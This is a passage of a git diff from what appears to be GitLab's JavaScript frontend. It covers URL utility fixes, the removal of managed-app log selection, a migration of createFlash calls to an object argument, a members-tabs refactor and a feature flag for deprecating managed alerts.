+ } else if (abs < BYTES_IN_KIB ** 3) {
return sprintf(__('%{size} MiB'), { size: bytesToMiB(size).toFixed(2) });
}
return sprintf(__('%{size} GiB'), { size: bytesToGiB(size).toFixed(2) });
diff --git a/app/assets/javascripts/lib/utils/table_utility.js b/app/assets/javascripts/lib/utils/table_utility.js
new file mode 100644
index 00000000000..33db7686e0f
--- /dev/null
+++ b/app/assets/javascripts/lib/utils/table_utility.js
@@ -0,0 +1,9 @@
+import { DEFAULT_TH_CLASSES } from './constants';
+
+/**
+ * Generates the table header classes to be used for GlTable fields.
+ *
+ * @param {Number} width - The column width as a percentage.
+ * @returns {String} The classes to be used in GlTable fields object.
+ */
+export const thWidthClass = (width) => `gl-w-${width}p ${DEFAULT_TH_CLASSES}`;
diff --git a/app/assets/javascripts/lib/utils/url_utility.js b/app/assets/javascripts/lib/utils/url_utility.js
index 5b3aa3cf9dc..48abc072675 100644
--- a/app/assets/javascripts/lib/utils/url_utility.js
+++ b/app/assets/javascripts/lib/utils/url_utility.js
@@ -323,7 +323,7 @@ export function isAbsolute(url) {
* @param {String} url
*/
export function isRootRelative(url) {
- return /^\//.test(url);
+ return /^\/(?!\/)/.test(url);
}
/**
@@ -414,29 +414,35 @@ export function getWebSocketUrl(path) {
*
* @param {String} query from "document.location.search"
* @param {Object} options
- * @param {Boolean} options.gatherArrays - gather array values into an Array
+ * @param {Boolean?} options.gatherArrays - gather array values into an Array
+ * @param {Boolean?} options.legacySpacesDecode - (deprecated) plus symbols (+) are not replaced with spaces, false by default
* @returns {Object}
*
* ex: "?one=1&two=2" into {one: 1, two: 2}
*/
-export function queryToObject(query, options = {}) {
- const { gatherArrays = false } = options;
+export function queryToObject(query, { gatherArrays = false, legacySpacesDecode = false } = {}) {
const removeQuestionMarkFromQuery = String(query).startsWith('?') ? query.slice(1) : query;
return removeQuestionMarkFromQuery.split('&').reduce((accumulator, curr) => {
const [key, value] = curr.split('=');
if (value === undefined) {
return accumulator;
}
- const decodedValue = decodeURIComponent(value);
+
+ const decodedValue = legacySpacesDecode ? decodeURIComponent(value) : decodeUrlParameter(value);
if (gatherArrays && key.endsWith('[]')) {
- const decodedKey = decodeURIComponent(key.slice(0, -2));
+ const decodedKey = legacySpacesDecode
+ ? decodeURIComponent(key.slice(0, -2))
+ : decodeUrlParameter(key.slice(0, -2));
+
if (!Array.isArray(accumulator[decodedKey])) {
accumulator[decodedKey] = [];
}
accumulator[decodedKey].push(decodedValue);
} else {
- accumulator[decodeURIComponent(key)] = decodedValue;
+ const decodedKey = legacySpacesDecode ? decodeURIComponent(key) : decodeUrlParameter(key);
+
+ accumulator[decodedKey] = decodedValue;
}
return accumulator;
@@ -484,13 +490,17 @@ export const setUrlParams = (
searchParams.delete(key);
} else if (Array.isArray(params[key])) {
const keyName = railsArraySyntax ? `${key}[]` : key;
- params[key].forEach((val, idx) => {
- if (idx === 0) {
- searchParams.set(keyName, val);
- } else {
- searchParams.append(keyName, val);
- }
- });
+ if (params[key].length === 0) {
+ searchParams.delete(keyName);
+ } else {
+ params[key].forEach((val, idx) => {
+ if (idx === 0) {
+ searchParams.set(keyName, val);
+ } else {
+ searchParams.append(keyName, val);
+ }
+ });
+ }
} else {
searchParams.set(key, params[key]);
}
diff --git a/app/assets/javascripts/locale/sprintf.js b/app/assets/javascripts/locale/sprintf.js
index 82fc816fe9e..e1749331d90 100644
--- a/app/assets/javascripts/locale/sprintf.js
+++ b/app/assets/javascripts/locale/sprintf.js
@@ -15,8 +15,10 @@ export default (input, parameters, escapeParameters = true) => {
let output = input;
if (parameters) {
- Object.keys(parameters).forEach((parameterName) => {
- const parameterValue = parameters[parameterName];
+ const mappedParameters = new Map(Object.entries(parameters));
+
+ mappedParameters.forEach((key, parameterName) => {
+ const parameterValue = mappedParameters.get(parameterName);
const escapedParameterValue = escapeParameters ? escape(parameterValue) : parameterValue;
output = output.replace(new RegExp(`%{${parameterName}}`, 'g'), escapedParameterValue);
});
diff --git a/app/assets/javascripts/logs/components/environment_logs.vue b/app/assets/javascripts/logs/components/environment_logs.vue
index 5092c6905c4..39041aa1447 100644
--- a/app/assets/javascripts/logs/components/environment_logs.vue
+++ b/app/assets/javascripts/logs/components/environment_logs.vue
@@ -5,7 +5,6 @@ import {
GlDropdown,
GlDropdownSectionHeader,
GlDropdownItem,
- GlDropdownDivider,
GlInfiniteScroll,
} from '@gitlab/ui';
import { throttle } from 'lodash';
@@ -25,7 +24,6 @@ export default {
GlDropdown,
GlDropdownSectionHeader,
GlDropdownItem,
- GlDropdownDivider,
GlInfiniteScroll,
LogSimpleFilters,
LogAdvancedFilters,
@@ -66,7 +64,7 @@ export default {
};
},
computed: {
- ...mapState('environmentLogs', ['environments', 'timeRange', 'logs', 'pods', 'managedApps']),
+ ...mapState('environmentLogs', ['environments', 'timeRange', 'logs', 'pods']),
...mapGetters('environmentLogs', ['trace', 'showAdvancedFilters']),
showLoader() {
@@ -88,15 +86,12 @@ export default {
});
this.fetchEnvironments(this.environmentsPath);
- this.fetchManagedApps(this.clustersPath);
},
methods: {
...mapActions('environmentLogs', [
'setInitData',
'showEnvironment',
- 'showManagedApp',
'fetchEnvironments',
- 'fetchManagedApps',
'refreshPodLogs',
'fetchMoreLogsPrepend',
'dismissRequestEnvironmentsError',
@@ -107,9 +102,6 @@ export default {
isCurrentEnvironment(envName) {
return envName === this.environments.current;
},
- isCurrentManagedApp(appName) {
- return appName === this.managedApps.current;
- },
topReached() {
if (!this.logs.isLoading) {
this.fetchMoreLogsPrepend();
@@ -173,7 +165,7 @@ export default {
<div class="flex-grow-0">
<gl-dropdown
id="environments-dropdown"
- :text="environments.current || managedApps.current"
+ :text="environments.current"
:disabled="environments.isLoading"
class="gl-mr-3 gl-mb-3 gl-display-flex gl-md-display-block js-environments-dropdown"
>
@@ -189,19 +181,6 @@ export default {
>
{{ env.name }}
</gl-dropdown-item>
- <gl-dropdown-divider />
- <gl-dropdown-section-header>
- {{ s__('Environments|Managed apps') }}
- </gl-dropdown-section-header>
- <gl-dropdown-item
- v-for="app in managedApps.options"
- :key="app.id"
- :is-check-item="true"
- :is-checked="isCurrentManagedApp(app.name)"
- @click="showManagedApp(app.name)"
- >
- {{ app.name }}
- </gl-dropdown-item>
</gl-dropdown>
</div>
diff --git a/app/assets/javascripts/logs/constants.js b/app/assets/javascripts/logs/constants.js
index 0cdef53df34..abc4d6679a0 100644
--- a/app/assets/javascripts/logs/constants.js
+++ b/app/assets/javascripts/logs/constants.js
@@ -13,5 +13,4 @@ export const tracking = {
export const logExplorerOptions = {
environments: 'environments',
- managedApps: 'managedApps',
};
diff --git a/app/assets/javascripts/logs/stores/actions.js b/app/assets/javascripts/logs/stores/actions.js
index c3dc9f4bc12..56b832de9b8 100644
--- a/app/assets/javascripts/logs/stores/actions.js
+++ b/app/assets/javascripts/logs/stores/actions.js
@@ -25,15 +25,9 @@ const requestUntilData = (url, params) =>
const requestLogsUntilData = ({ commit, state }) => {
const params = {};
- const type = state.environments.current
- ? logExplorerOptions.environments
- : logExplorerOptions.managedApps;
+ const type = logExplorerOptions.environments;
const selectedObj = state[type].options.find(({ name }) => name === state[type].current);
-
- const path =
- type === logExplorerOptions.environments
- ? selectedObj.logs_api_path
- : selectedObj.gitlab_managed_apps_logs_path;
+ const path = selectedObj.logs_api_path;
if (state.pods.current) {
params.pod_name = state.pods.current;
@@ -106,11 +100,6 @@ export const showEnvironment = ({ dispatch, commit }, environmentName) => {
dispatch('fetchLogs', tracking.ENVIRONMENT_SELECTED);
};
-export const showManagedApp = ({ dispatch, commit }, managedApp) => {
- commit(types.SET_MANAGED_APP, managedApp);
- dispatch('fetchLogs', tracking.MANAGED_APP_SELECTED);
-};
-
export const refreshPodLogs = ({ dispatch, commit }) => {
commit(types.REFRESH_POD_LOGS);
dispatch('fetchLogs', tracking.REFRESH_POD_LOGS);
@@ -135,23 +124,6 @@ export const fetchEnvironments = ({ commit, dispatch }, environmentsPath) => {
});
};
-/**
- * Fetch managed apps data
- * @param {Object} store
- * @param {String} clustersPath
- */
-
-export const fetchManagedApps = ({ commit }, clustersPath) => {
- return axios
- .get(clustersPath)
- .then(({ data }) => {
- commit(types.RECEIVE_MANAGED_APPS_DATA_SUCCESS, data.clusters);
- })
- .catch(() => {
- commit(types.RECEIVE_MANAGED_APPS_DATA_ERROR);
- });
-};
-
export const fetchLogs = ({ commit, state }, trackingLabel) => {
commit(types.REQUEST_LOGS_DATA);
diff --git a/app/assets/javascripts/logs/stores/getters.js b/app/assets/javascripts/logs/stores/getters.js
index 836e6e82385..bf71cfd8eb2 100644
--- a/app/assets/javascripts/logs/stores/getters.js
+++ b/app/assets/javascripts/logs/stores/getters.js
@@ -6,16 +6,9 @@ const mapTrace = ({ timestamp = null, pod = '', message = '' }) =>
export const trace = (state) => state.logs.lines.map(mapTrace).join('\n');
export const showAdvancedFilters = (state) => {
- if (state.environments.current) {
- const environment = state.environments.options.find(
- ({ name }) => name === state.environments.current,
- );
-
- return Boolean(environment?.enable_advanced_logs_querying);
- }
- const managedApp = state.managedApps.options.find(
- ({ name }) => name === state.managedApps.current,
+ const environment = state.environments.options.find(
+ ({ name }) => name === state.environments.current,
);
- return Boolean(managedApp?.enable_advanced_logs_querying);
+ return Boolean(environment?.enable_advanced_logs_querying);
};
diff --git a/app/assets/javascripts/logs/stores/mutation_types.js b/app/assets/javascripts/logs/stores/mutation_types.js
index eaa4b13f8bd..c1ed65ff48b 100644
--- a/app/assets/javascripts/logs/stores/mutation_types.js
+++ b/app/assets/javascripts/logs/stores/mutation_types.js
@@ -13,9 +13,6 @@ export const RECEIVE_ENVIRONMENTS_DATA_SUCCESS = 'RECEIVE_ENVIRONMENTS_DATA_SUCC
export const RECEIVE_ENVIRONMENTS_DATA_ERROR = 'RECEIVE_ENVIRONMENTS_DATA_ERROR';
export const HIDE_REQUEST_ENVIRONMENTS_ERROR = 'HIDE_REQUEST_ENVIRONMENTS_ERROR';
-export const RECEIVE_MANAGED_APPS_DATA_SUCCESS = 'RECEIVE_MANAGED_APPS_DATA_SUCCESS';
-export const RECEIVE_MANAGED_APPS_DATA_ERROR = 'RECEIVE_MANAGED_APPS_DATA_ERROR';
-
export const REQUEST_LOGS_DATA = 'REQUEST_LOGS_DATA';
export const RECEIVE_LOGS_DATA_SUCCESS = 'RECEIVE_LOGS_DATA_SUCCESS';
export const RECEIVE_LOGS_DATA_ERROR = 'RECEIVE_LOGS_DATA_ERROR';
diff --git a/app/assets/javascripts/logs/stores/mutations.js b/app/assets/javascripts/logs/stores/mutations.js
index 21031838adf..6736d7204b4 100644
--- a/app/assets/javascripts/logs/stores/mutations.js
+++ b/app/assets/javascripts/logs/stores/mutations.js
@@ -32,9 +32,6 @@ export default {
// Clear current pod options
state.pods.current = null;
state.pods.options = [];
-
- // Clear current managedApps options
- state.managedApps.current = null;
},
[types.REQUEST_ENVIRONMENTS_DATA](state) {
state.environments.options = [];
@@ -110,26 +107,4 @@ export default {
[types.RECEIVE_PODS_DATA_ERROR](state) {
state.pods.options = [];
},
- // Managed apps data
- [types.RECEIVE_MANAGED_APPS_DATA_SUCCESS](state, apps) {
- state.managedApps.options = apps.filter(
- ({ gitlab_managed_apps_logs_path }) => gitlab_managed_apps_logs_path, // eslint-disable-line babel/camelcase
- );
- state.managedApps.isLoading = false;
- },
- [types.RECEIVE_MANAGED_APPS_DATA_ERROR](state) {
- state.managedApps.options = [];
- state.managedApps.isLoading = false;
- state.managedApps.fetchError = true;
- },
- [types.SET_MANAGED_APP](state, managedApp) {
- state.managedApps.current = managedApp;
-
- // Clear current pod options
- state.pods.current = null;
- state.pods.options = [];
-
- // Clear current environment options
- state.environments.current = null;
- },
};
diff --git a/app/assets/javascripts/logs/stores/state.js b/app/assets/javascripts/logs/stores/state.js
index e2028621ac8..83080589362 100644
--- a/app/assets/javascripts/logs/stores/state.js
+++ b/app/assets/javascripts/logs/stores/state.js
@@ -31,16 +31,6 @@ export default () => ({
},
/**
- * Managed apps list information
- */
- managedApps: {
- options: [],
- isLoading: false,
- current: null,
- fetchError: false,
- },
-
- /**
* Logs including trace
*/
logs: {
diff --git a/app/assets/javascripts/main.js b/app/assets/javascripts/main.js
index 6200ade3595..2309f7a420f 100644
--- a/app/assets/javascripts/main.js
+++ b/app/assets/javascripts/main.js
@@ -20,7 +20,7 @@ import { removeFlashClickListener } from './flash';
import initTodoToggle from './header';
import initLayoutNav from './layout_nav';
import { handleLocationHash, addSelectOnFocusBehaviour } from './lib/utils/common_utils';
-import { localTimeAgo } from './lib/utils/datetime_utility';
+import { localTimeAgo } from './lib/utils/datetime/timeago_utility';
import { getLocationHash, visitUrl } from './lib/utils/url_utility';
// everything else
@@ -36,6 +36,7 @@ import GlFieldErrors from './gl_field_errors';
import initUserPopovers from './user_popovers';
import initBroadcastNotifications from './broadcast_notification';
import { initTopNav } from './nav';
+import navEventHub, { EVENT_RESPONSIVE_TOGGLE } from './nav/event_hub';
import 'ee_else_ce/main_ee';
@@ -202,7 +203,11 @@ document.addEventListener('DOMContentLoaded', () => {
});
$('.navbar-toggler').on('click', () => {
+ // The order is important. The `menu-expanded` is used as a source of truth for now.
+ // This can be simplified when the :combined_menu feature flag is removed.
+ // https://gitlab.com/gitlab-org/gitlab/-/issues/333180
$('.header-content').toggleClass('menu-expanded');
+ navEventHub.$emit(EVENT_RESPONSIVE_TOGGLE);
});
/**
diff --git a/app/assets/javascripts/manual_ordering.js b/app/assets/javascripts/manual_ordering.js
index 540314f8f9b..9613246d6a6 100644
--- a/app/assets/javascripts/manual_ordering.js
+++ b/app/assets/javascripts/manual_ordering.js
@@ -3,7 +3,7 @@ import {
getBoardSortableDefaultOptions,
sortableStart,
} from '~/boards/mixins/sortable_default_options';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import { s__ } from '~/locale';
@@ -15,7 +15,9 @@ const updateIssue = (url, issueList, { move_before_id, move_after_id }) =>
group_full_path: issueList.dataset.groupFullPath,
})
.catch(() => {
- createFlash(s__("ManualOrdering|Couldn't save the order of the issues"));
+ createFlash({
+ message: s__("ManualOrdering|Couldn't save the order of the issues"),
+ });
});
const initManualOrdering = (draggableSelector = 'li.issue') => {
diff --git a/app/assets/javascripts/members/components/app.vue b/app/assets/javascripts/members/components/app.vue
index 585fabdf3ff..a08518584f3 100644
--- a/app/assets/javascripts/members/components/app.vue
+++ b/app/assets/javascripts/members/components/app.vue
@@ -9,7 +9,17 @@ import MembersTable from './table/members_table.vue';
export default {
name: 'MembersApp',
components: { MembersTable, FilterSortContainer, GlAlert },
- inject: ['namespace'],
+ provide() {
+ return {
+ namespace: this.namespace,
+ };
+ },
+ props: {
+ namespace: {
+ type: String,
+ required: true,
+ },
+ },
computed: {
...mapState({
showError(state) {
diff --git a/app/assets/javascripts/members/components/table/role_dropdown.vue b/app/assets/javascripts/members/components/table/role_dropdown.vue
index f84ded427cd..fa895cf24c4 100644
--- a/app/assets/javascripts/members/components/table/role_dropdown.vue
+++ b/app/assets/javascripts/members/components/table/role_dropdown.vue
@@ -78,7 +78,7 @@ export default {
ref="glDropdown"
:right="!isDesktop"
:text="member.accessLevel.stringValue"
- :header-text="__('Change permissions')"
+ :header-text="__('Change role')"
:disabled="disabled"
>
<gl-dropdown-item
diff --git a/app/assets/javascripts/members/index.js b/app/assets/javascripts/members/index.js
index 6c913af8a0f..2ed0958d1dc 100644
--- a/app/assets/javascripts/members/index.js
+++ b/app/assets/javascripts/members/index.js
@@ -2,20 +2,11 @@ import { GlToast } from '@gitlab/ui';
import Vue from 'vue';
import Vuex from 'vuex';
import { parseDataAttributes } from '~/members/utils';
-import App from './components/app.vue';
+import MembersTabs from './components/members_tabs.vue';
+import { MEMBER_TYPES } from './constants';
import membersStore from './store';
-export const initMembersApp = (
- el,
- {
- namespace,
- tableFields = [],
- tableAttrs = {},
- tableSortableFields = [],
- requestFormatter = () => {},
- filteredSearchBar = { show: false },
- },
-) => {
+export const initMembersApp = (el, options) => {
if (!el) {
return () => {};
}
@@ -25,29 +16,45 @@ export const initMembersApp = (
const { sourceId, canManageMembers, ...vuexStoreAttributes } = parseDataAttributes(el);
- const store = new Vuex.Store({
- modules: {
+ const modules = Object.keys(MEMBER_TYPES).reduce((accumulator, namespace) => {
+ const namespacedOptions = options[namespace];
+
+ if (!namespacedOptions) {
+ return accumulator;
+ }
+
+ const {
+ tableFields = [],
+ tableAttrs = {},
+ tableSortableFields = [],
+ requestFormatter = () => {},
+ filteredSearchBar = { show: false },
+ } = namespacedOptions;
+
+ return {
+ ...accumulator,
[namespace]: membersStore({
- ...vuexStoreAttributes,
+ ...vuexStoreAttributes[namespace],
tableFields,
tableAttrs,
tableSortableFields,
requestFormatter,
filteredSearchBar,
}),
- },
- });
+ };
+ }, {});
+
+ const store = new Vuex.Store({ modules });
return new Vue({
el,
- components: { App },
+ components: { MembersTabs },
store,
provide: {
- namespace,
currentUserId: gon.current_user_id || null,
sourceId,
canManageMembers,
},
- render: (createElement) => createElement('app'),
+ render: (createElement) => createElement('members-tabs'),
});
};
diff --git a/app/assets/javascripts/merge_request.js b/app/assets/javascripts/merge_request.js
index 1a0156f8c0e..feaf8b0d996 100644
--- a/app/assets/javascripts/merge_request.js
+++ b/app/assets/javascripts/merge_request.js
@@ -1,7 +1,7 @@
/* eslint-disable func-names, no-underscore-dangle, consistent-return */
import $ from 'jquery';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import { __ } from '~/locale';
import eventHub from '~/vue_merge_request_widget/event_hub';
import axios from './lib/utils/axios_utils';
@@ -36,11 +36,11 @@ function MergeRequest(opts) {
document.querySelector('#task_status_short').innerText = result.task_status_short;
},
onError: () => {
- createFlash(
- __(
+ createFlash({
+ message: __(
'Someone edited this merge request at the same time you did. Please refresh the page to see changes.',
),
- );
+ });
},
});
}
@@ -93,7 +93,9 @@ MergeRequest.prototype.initMRBtnListeners = function () {
})
.catch(() => {
draftToggle.removeAttribute('disabled');
- createFlash(__('Something went wrong. Please try again.'));
+ createFlash({
+ message: __('Something went wrong. Please try again.'),
+ });
});
});
});
@@ -169,7 +171,10 @@ MergeRequest.hideCloseButton = function () {
MergeRequest.toggleDraftStatus = function (title, isReady) {
if (isReady) {
- createFlash(__('The merge request can now be merged.'), 'notice');
+ createFlash({
+ message: __('The merge request can now be merged.'),
+ type: 'notice',
+ });
}
const titleEl = document.querySelector('.merge-request .detail-page-description .title');
diff --git a/app/assets/javascripts/monitoring/components/alert_widget.vue b/app/assets/javascripts/monitoring/components/alert_widget.vue
index 9724ef9950b..c18c13f2574 100644
--- a/app/assets/javascripts/monitoring/components/alert_widget.vue
+++ b/app/assets/javascripts/monitoring/components/alert_widget.vue
@@ -1,7 +1,7 @@
<script>
import { GlBadge, GlLoadingIcon, GlModalDirective, GlIcon, GlTooltip, GlSprintf } from '@gitlab/ui';
import { values, get } from 'lodash';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import { BV_SHOW_MODAL, BV_HIDE_MODAL } from '~/lib/utils/constants';
import { s__ } from '~/locale';
import { OPERATORS } from '../constants';
@@ -130,7 +130,9 @@ export default {
this.isLoading = false;
})
.catch(() => {
- createFlash(s__('PrometheusAlerts|Error fetching alert'));
+ createFlash({
+ message: s__('PrometheusAlerts|Error fetching alert'),
+ });
this.isLoading = false;
});
},
diff --git a/app/assets/javascripts/monitoring/components/dashboard.vue b/app/assets/javascripts/monitoring/components/dashboard.vue
index 05e7fb7a3e9..be9f104b81e 100644
--- a/app/assets/javascripts/monitoring/components/dashboard.vue
+++ b/app/assets/javascripts/monitoring/components/dashboard.vue
@@ -3,7 +3,7 @@ import { GlButton, GlModalDirective, GlTooltipDirective, GlIcon } from '@gitlab/
import Mousetrap from 'mousetrap';
import VueDraggable from 'vuedraggable';
import { mapActions, mapState, mapGetters } from 'vuex';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import invalidUrl from '~/lib/utils/invalid_url';
import { ESC_KEY } from '~/lib/utils/keys';
import { mergeUrlParams, updateHistory } from '~/lib/utils/url_utility';
@@ -11,6 +11,7 @@ import { s__ } from '~/locale';
import AlertsDeprecationWarning from '~/vue_shared/components/alerts_deprecation_warning.vue';
import { defaultTimeRange } from '~/vue_shared/constants';
import TrackEventDirective from '~/vue_shared/directives/track_event';
+import glFeatureFlagMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
import { metricStates, keyboardShortcutKeys } from '../constants';
import {
timeRangeFromUrl,
@@ -46,6 +47,7 @@ export default {
GlTooltip: GlTooltipDirective,
TrackEvent: TrackEventDirective,
},
+ mixins: [glFeatureFlagMixin()],
props: {
hasMetrics: {
type: Boolean,
@@ -176,11 +178,11 @@ export default {
this.setExpandedPanel(expandedPanel);
}
} catch {
- createFlash(
- s__(
+ createFlash({
+ message: s__(
'Metrics|Link contains invalid chart information, please verify the link to see the expanded panel.',
),
- );
+ });
}
},
expandedPanel: {
@@ -201,12 +203,13 @@ export default {
* This watcher is set for future SPA behaviour of the dashboard
*/
if (hasWarnings) {
- createFlash(
- s__(
+ createFlash({
+ message: s__(
'Metrics|Your dashboard schema is invalid. Edit the dashboard to correct the YAML schema.',
),
- 'warning',
- );
+
+ type: 'warning',
+ });
}
},
},
@@ -318,11 +321,11 @@ export default {
this.isRearrangingPanels = isRearrangingPanels;
},
onDateTimePickerInvalid() {
- createFlash(
- s__(
+ createFlash({
+ message: s__(
'Metrics|Link contains an invalid time window, please verify the link to see the requested time range.',
),
- );
+ });
// As a fallback, switch to default time range instead
this.selectedTimeRange = defaultTimeRange;
},
@@ -396,7 +399,7 @@ export default {
<template>
<div class="prometheus-graphs" data-qa-selector="prometheus_graphs">
- <alerts-deprecation-warning />
+ <alerts-deprecation-warning v-if="!glFeatures.managedAlertsDeprecation" />
<dashboard-header
v-if="showHeader"
diff --git a/app/assets/javascripts/monitoring/components/dashboard_panel.vue b/app/assets/javascripts/monitoring/components/dashboard_panel.vue
index 55e73d17842..202d18ac721 100644
--- a/app/assets/javascripts/monitoring/components/dashboard_panel.vue
+++ b/app/assets/javascripts/monitoring/components/dashboard_panel.vue
@@ -21,6 +21,7 @@ import invalidUrl from '~/lib/utils/invalid_url';
import { relativePathToAbsolute, getBaseURL, visitUrl, isSafeURL } from '~/lib/utils/url_utility';
import { __, n__ } from '~/locale';
import TrackEventDirective from '~/vue_shared/directives/track_event';
+import glFeatureFlagMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
import { panelTypes } from '../constants';
import { graphDataToCsv } from '../csv_export';
@@ -61,6 +62,7 @@ export default {
GlTooltip: GlTooltipDirective,
TrackEvent: TrackEventDirective,
},
+ mixins: [glFeatureFlagMixin()],
props: {
clipboardText: {
type: String,
@@ -258,7 +260,8 @@ export default {
this.prometheusAlertsAvailable &&
this.alertsEndpoint &&
this.graphData &&
- this.hasMetricsInDb
+ this.hasMetricsInDb &&
+ !this.glFeatures.managedAlertsDeprecation
);
},
alertModalId() {
diff --git a/app/assets/javascripts/monitoring/stores/actions.js b/app/assets/javascripts/monitoring/stores/actions.js
index a0b4fd0b608..215b4b7b2d7 100644
--- a/app/assets/javascripts/monitoring/stores/actions.js
+++ b/app/assets/javascripts/monitoring/stores/actions.js
@@ -1,5 +1,5 @@
import * as Sentry from '@sentry/browser';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import { convertToFixedRange } from '~/lib/utils/datetime_range';
import { convertObjectPropsToCamelCase } from '../../lib/utils/common_utils';
@@ -134,15 +134,17 @@ export const fetchDashboard = ({ state, commit, dispatch, getters }) => {
if (state.showErrorBanner) {
if (error.response.data && error.response.data.message) {
const { message } = error.response.data;
- createFlash(
- sprintf(
+ createFlash({
+ message: sprintf(
s__('Metrics|There was an error while retrieving metrics. %{message}'),
{ message },
false,
),
- );
+ });
} else {
- createFlash(s__('Metrics|There was an error while retrieving metrics'));
+ createFlash({
+ message: s__('Metrics|There was an error while retrieving metrics'),
+ });
}
}
});
@@ -174,7 +176,10 @@ export const fetchDashboardData = ({ state, dispatch, getters }) => {
dispatch('fetchDeploymentsData');
if (!state.timeRange) {
- createFlash(s__(`Metrics|Invalid time range, please verify.`), 'warning');
+ createFlash({
+ message: s__(`Metrics|Invalid time range, please verify.`),
+ type: 'warning',
+ });
return Promise.reject();
}
@@ -202,7 +207,10 @@ export const fetchDashboardData = ({ state, dispatch, getters }) => {
});
})
.catch(() => {
- createFlash(s__(`Metrics|There was an error while retrieving metrics`), 'warning');
+ createFlash({
+ message: s__(`Metrics|There was an error while retrieving metrics`),
+ type: 'warning',
+ });
});
};
@@ -254,7 +262,9 @@ export const fetchDeploymentsData = ({ state, dispatch }) => {
.then((resp) => resp.data)
.then((response) => {
if (!response || !response.deployments) {
- createFlash(s__('Metrics|Unexpected deployment data response from prometheus endpoint'));
+ createFlash({
+ message: s__('Metrics|Unexpected deployment data response from prometheus endpoint'),
+ });
}
dispatch('receiveDeploymentsDataSuccess', response.deployments);
@@ -262,7 +272,9 @@ export const fetchDeploymentsData = ({ state, dispatch }) => {
.catch((error) => {
Sentry.captureException(error);
dispatch('receiveDeploymentsDataFailure');
- createFlash(s__('Metrics|There was an error getting deployment information.'));
+ createFlash({
+ message: s__('Metrics|There was an error getting deployment information.'),
+ });
});
};
export const receiveDeploymentsDataSuccess = ({ commit }, data) => {
@@ -290,9 +302,11 @@ export const fetchEnvironmentsData = ({ state, dispatch }) => {
)
.then((environments) => {
if (!environments) {
- createFlash(
- s__('Metrics|There was an error fetching the environments data, please try again'),
- );
+ createFlash({
+ message: s__(
+ 'Metrics|There was an error fetching the environments data, please try again',
+ ),
+ });
}
dispatch('receiveEnvironmentsDataSuccess', environments);
@@ -300,7 +314,9 @@ export const fetchEnvironmentsData = ({ state, dispatch }) => {
.catch((err) => {
Sentry.captureException(err);
dispatch('receiveEnvironmentsDataFailure');
- createFlash(s__('Metrics|There was an error getting environments information.'));
+ createFlash({
+ message: s__('Metrics|There was an error getting environments information.'),
+ });
});
};
export const requestEnvironmentsData = ({ commit }) => {
@@ -332,7 +348,9 @@ export const fetchAnnotations = ({ state, dispatch, getters }) => {
.then(parseAnnotationsResponse)
.then((annotations) => {
if (!annotations) {
- createFlash(s__('Metrics|There was an error fetching annotations. Please try again.'));
+ createFlash({
+ message: s__('Metrics|There was an error fetching annotations. Please try again.'),
+ });
}
dispatch('receiveAnnotationsSuccess', annotations);
@@ -340,7 +358,9 @@ export const fetchAnnotations = ({ state, dispatch, getters }) => {
.catch((err) => {
Sentry.captureException(err);
dispatch('receiveAnnotationsFailure');
- createFlash(s__('Metrics|There was an error getting annotations information.'));
+ createFlash({
+ message: s__('Metrics|There was an error getting annotations information.'),
+ });
});
};
@@ -377,9 +397,11 @@ export const fetchDashboardValidationWarnings = ({ state, dispatch, getters }) =
.catch((err) => {
Sentry.captureException(err);
dispatch('receiveDashboardValidationWarningsFailure');
- createFlash(
- s__('Metrics|There was an error getting dashboard validation warnings information.'),
- );
+ createFlash({
+ message: s__(
+ 'Metrics|There was an error getting dashboard validation warnings information.',
+ ),
+ });
});
};
@@ -480,11 +502,14 @@ export const fetchVariableMetricLabelValues = ({ state, commit }, { defaultQuery
commit(types.UPDATE_VARIABLE_METRIC_LABEL_VALUES, { variable, label, data });
})
.catch(() => {
- createFlash(
- sprintf(s__('Metrics|There was an error getting options for variable "%{name}".'), {
- name: variable.name,
- }),
- );
+ createFlash({
+ message: sprintf(
+ s__('Metrics|There was an error getting options for variable "%{name}".'),
+ {
+ name: variable.name,
+ },
+ ),
+ });
});
optionsRequests.push(optionsRequest);
}
diff --git a/app/assets/javascripts/monitoring/utils.js b/app/assets/javascripts/monitoring/utils.js
index 8adf1862af2..74b777d7b44 100644
--- a/app/assets/javascripts/monitoring/utils.js
+++ b/app/assets/javascripts/monitoring/utils.js
@@ -175,7 +175,7 @@ export const graphDataValidatorForAnomalyValues = (graphData) => {
* Returns `null` if no parameters form a time range.
*/
export const timeRangeFromUrl = (search = window.location.search) => {
- const params = queryToObject(search);
+ const params = queryToObject(search, { legacySpacesDecode: true });
return timeRangeFromParams(params);
};
@@ -228,7 +228,7 @@ export const convertVariablesForURL = (variables) =>
* @returns {Object} The custom variables defined by the user in the URL
*/
export const templatingVariablesFromUrl = (search = window.location.search) => {
- const params = queryToObject(search);
+ const params = queryToObject(search, { legacySpacesDecode: true });
// pick the params with variable prefix
const paramsWithVars = pickBy(params, (val, key) => key.startsWith(VARIABLE_PREFIX));
// remove the prefix before storing in the Vuex store
@@ -289,7 +289,7 @@ export const timeRangeToUrl = (timeRange, url = window.location.href) => {
* @throws Will throw an error if Panel cannot be located.
*/
export const expandedPanelPayloadFromUrl = (dashboard, search = window.location.search) => {
- const params = queryToObject(search);
+ const params = queryToObject(search, { legacySpacesDecode: true });
// Search for the panel if any of the search params is identified
if (params.group || params.title || params.y_label) {
diff --git a/app/assets/javascripts/nav/components/responsive_app.vue b/app/assets/javascripts/nav/components/responsive_app.vue
new file mode 100644
index 00000000000..d601586a3f8
--- /dev/null
+++ b/app/assets/javascripts/nav/components/responsive_app.vue
@@ -0,0 +1,107 @@
+<script>
+import { FREQUENT_ITEMS_PROJECTS, FREQUENT_ITEMS_GROUPS } from '~/frequent_items/constants';
+import { BV_DROPDOWN_SHOW, BV_DROPDOWN_HIDE } from '~/lib/utils/constants';
+import KeepAliveSlots from '~/vue_shared/components/keep_alive_slots.vue';
+import eventHub, { EVENT_RESPONSIVE_TOGGLE } from '../event_hub';
+import { resetMenuItemsActive, hasMenuExpanded } from '../utils';
